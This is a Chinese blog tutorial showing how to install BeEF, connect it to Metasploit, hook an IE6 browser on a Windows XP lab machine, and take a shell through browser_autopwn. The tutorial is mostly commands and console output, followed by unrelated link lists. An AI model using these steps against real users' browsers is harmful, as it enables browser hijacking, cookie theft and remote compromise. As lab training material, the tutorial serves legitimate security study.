1.什么是BeEF?

就是 The Browser Exploitation Framework 的缩写,意在通过一些手段,控制对方的浏览器。

里面集成了很多模块,能够获取很多东西,有cookie,浏览器名字,版本,插件,是否支持java,vb,flash等,所以说XSS神器嘛。。

大概长这个样子(默认用户名密码是beef,beef):

2.安装beef和使用beef

BT5r3 已经是自带了ruby和beef了,我们不用下载和安装了。

[plain] view plaincopy

  1. ruby :ruby 1.9.2dev (2010-07-02) [i486-linux]  
  2. beef :Version 0.4.3.6-alpha  

beef默认安装在:/pentest/web/beef/ 下

metasploit默认安装在:/opt/metasploit/下

翻看了下beef的安装文档:INSTALL.txt

[plain] view plaincopy

  1. 1. Prerequisites (platform independent)  
  2.   
     
  3.      BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:  
  4.   
     
  5.      gem install bundler  
  6.   
     
  7. . Prerequisites (Linux)  
  8.   
     
  9.      !!! This must be done PRIOR to running the bundle install command !!!  
  10.        
     
  11.      On linux you will need to find the packages specific to your distribution for sqlite.  An example for Ubuntu systems is:  
  12.   
     
  13.      3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc  
  14.      3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required  
  15.      3.2. rvm install 1.9.2  
  16.      3.3. rvm use 1.9.2  

发现有个东西必须的安装: bundler!(千古一问:为什么BT5不一起把bundler安装好呢?)

总结了下就是:

[plain] view plaincopy

  1. apt-get install libsqlite3-dev sqlite3 sqlite3-doc   
  2. gem install bundler  
  3. bundle install  

如果出错(因为环境变量的问题,我感觉看官们一定会出错的,乖乖输入下面的命令):

[plain] view plaincopy

  1. gem install --user-install bundler   

然后开启beef:./beef

出现如下信息则成功:

[plain] view plaincopy

  1. root@bt:/pentest/web/beef# ./beef   
  2. [ 9:17:50][*] Browser Exploitation Framework (BeEF)  
  3. [ 9:17:50]    |   Version 0.4.3.6-alpha  
  4. [ 9:17:50]    |   Website http://beefproject.com  
  5. [ 9:17:50]    |   Run 'beef -h' for basic help.  
  6. [ 9:17:50]    |_  Run 'git pull' to update to the latest revision.  
  7. [ 9:17:50][*] Successful connection with Metasploit.  
  8. [ 9:17:53][*] Loaded 203 Metasploit exploits.  
  9. [ 9:17:53][*] BeEF is loading. Wait a few seconds...  
  10. [ 9:17:57][*] 9 extensions loaded:  
  11. [ 9:17:57]    |   Console  
  12. [ 9:17:57]    |   Requester  
  13. [ 9:17:57]    |   Events  
  14. [ 9:17:57]    |   Proxy  
  15. [ 9:17:57]    |   XSSRays  
  16. [ 9:17:57]    |   Autoloader  
  17. [ 9:17:57]    |   Metasploit  
  18. [ 9:17:57]    |   Demos  
  19. [ 9:17:57]    |_  Admin UI  
  20. [ 9:17:57][*] 316 modules enabled.  
  21. [ 9:17:57][*] 2 network interfaces were detected.  
  22. [ 9:17:57][+] running on network interface: 127.0.0.1  
  23. [ 9:17:57]    |   Hook URL: http://127.0.0.1:3000/hook.js  
  24. [ 9:17:57]    |_  UI URL:   http://127.0.0.1:3000/ui/panel  
  25. [ 9:17:57][+] running on network interface: 192.168.198.128  
  26. [ 9:17:57]    |   Hook URL: http://192.168.198.128:3000/hook.js  
  27. [ 9:17:57]    |_  UI URL:   http://192.168.198.128:3000/ui/panel  
  28. [ 9:17:57][*] RESTful API key: c29aef201f68aee70afc6ffedea1f77e8304ce72  
  29. [ 9:17:57][*] HTTP Proxy: http://127.0.0.1:6789  
  30. [ 9:17:57][*] BeEF server started (press control+c to stop)  

其实BeEF能干很多事,比如说,控制被HOOK浏览器弹个框吧:

3.配置beef携手Metasploit

首先关闭beef(Ctrl+C)。

在/opt/metasploit/文件夹下gedit beef.rc,写入内容:

[plain] view plaincopy

  1. load msgrpc ServerHost=127.0.0.1 Pass=abc123  

这里上网搜了下,发现密码神马的最好不要改,那就不改啦~

安装msgpack:

[plain] view plaincopy

  1. gem install --user-install msgpack  

修改配置让beef支持metasploit:

[plain] view plaincopy

  1. gedit /pentest/web/beef/config.yaml  
  2. 把        metasploit:  
  3.            enable: false  
  4. 改成:  
  5.            metasploit:  
  6.            enable: true  

Ps:这里必须先开msf,再开beef,才能在beef下用msf,也就是说两者开着一起工作!

我们启动metasploit:

[plain] view plaincopy

  1. root@bt:/opt/metasploit/msf3# msfconsole -r beef.rc   

出现如下信息就表示成功:

[plain] view plaincopy

  1. [*] Processing beef.rc for ERB directives.  
  2. resource (beef.rc)> load msgrpc ServerHost=127.0.0.1 Pass=abc123  
  3. [*] MSGRPC Service:  127.0.0.1:55552   
  4. [*] MSGRPC Username: msf  
  5. [*] MSGRPC Password: abc123  
  6. [*] Successfully loaded plugin: msgrpc  

然后我们再启动beef:

[plain] view plaincopy

  1. root@bt:/pentest/web/beef# ./beef   

beef,beef登陆后我们就能看到一个可爱的界面了:

然后BeEF自带了一个hack页面,坐等别人上钩:

[plain] view plaincopy

  1. http://127.0.0.1:3000/demos/basic.html   

里面主要是有这么一段js代码:

[plain] view plaincopy

4.对XPSP1测试

(1)让xp sp1 用IE6访问hack页面:

[plain] view plaincopy

  1. http://192.168.198.128:3000/demos/basic.html   

发现面板左侧上多了一个目标,也就是我们喜欢的IE6:

(2)

拿msf生成HOOK链接:

[plain] view plaincopy

  1. msf > use auxiliary/server/browser_autopwn   
  2. msf  auxiliary(browser_autopwn) > set LHOST 192.168.198.128 #我服务器自己的地址  
  3. LHOST => 192.168.198.128  
  4. msf  auxiliary(browser_autopwn) > run  

然后出来一大堆URL,我们选择,IE的一个:

[plain] view plaincopy

  1. http://192.168.198.128:8080/hxRmMPkYJa  

控制被HOOK的浏览器去访问这个链接:



然后msf 突然就开始自己(意味着自动化,这点以前一直以为我要做些什么,其实不用)跑起来,拿到shell:

至此,BeEF就算是一个初步认识和使用了。

有很多功能还没学会了,不过我感觉控制那个cookie之类的应该是没问题了。。

这么强大的神器,你还在等什么呢?

emaster  关注信息安全的胖子

欢迎转载,但转载请注明地址:http://blog.csdn.net/emaste_r/article/details/17091067

最新文章

  1. 怎样记住Integer的最大值(有趣的思维和搞笑的回答)
  2. 移动端调试利器 JSConsole 介绍
  3. [转]如何启用Ubuntu的休眠模式
  4. ubuntu 下创建桌面快捷方式
  5. JS调用本地应用程序
  6. 如何在PADS的封装中做非金属化孔
  7. Head First-观察者模式
  8. <转>DNS SOA记录
  9. poj 2251 搜索
  10. Swift - 类的计算属性(使用get和set来间接获取/改变其他属性的值)
  11. SpringMVC RequestMapping注解
  12. 【OCP|052】OCP最新题库解析(052)--小麦苗解答版
  13. 七、Java多人博客系统-2.0版本-docker部署
  14. 开发过程中 的一些 补充知识点 + 关于mysql中的日期和时间函数?
  15. 自学python 4.
  16. CGI,FastCGI,PHP-FPM,PHP-CLI,modPHP
  17. emwin之多次删除同一窗口导致死机现象
  18. 删除GitHub或者GitLab 上的文件夹,git rm -r --ceched 文件夹名 ,提交commit,git push
  19. Redis 常见配置
  20. IE=edge 让浏览器使用最新的渲染模式

热门文章

  1. [PY3]——IO——文件读写
  2. WCF Data Services 5.0 for OData V3
  3. 第7章 Scrapy突破反爬虫的限制
  4. Shiro官方快速入门10min例子源码解析框架3-Authentication(身份认证)
  5. golang rpc 简单范例
  6. 第一个Windows窗口应用程序
  7. 解决react不能往setState中传key作为参数的办法(文章最后实现了传递key做参数的办法)
  8. Chrome控制台毫无反应,打印不出信息了?
  9. 远景平台开发者上线,专业API免费使用
  10. js判断是手机还是PC端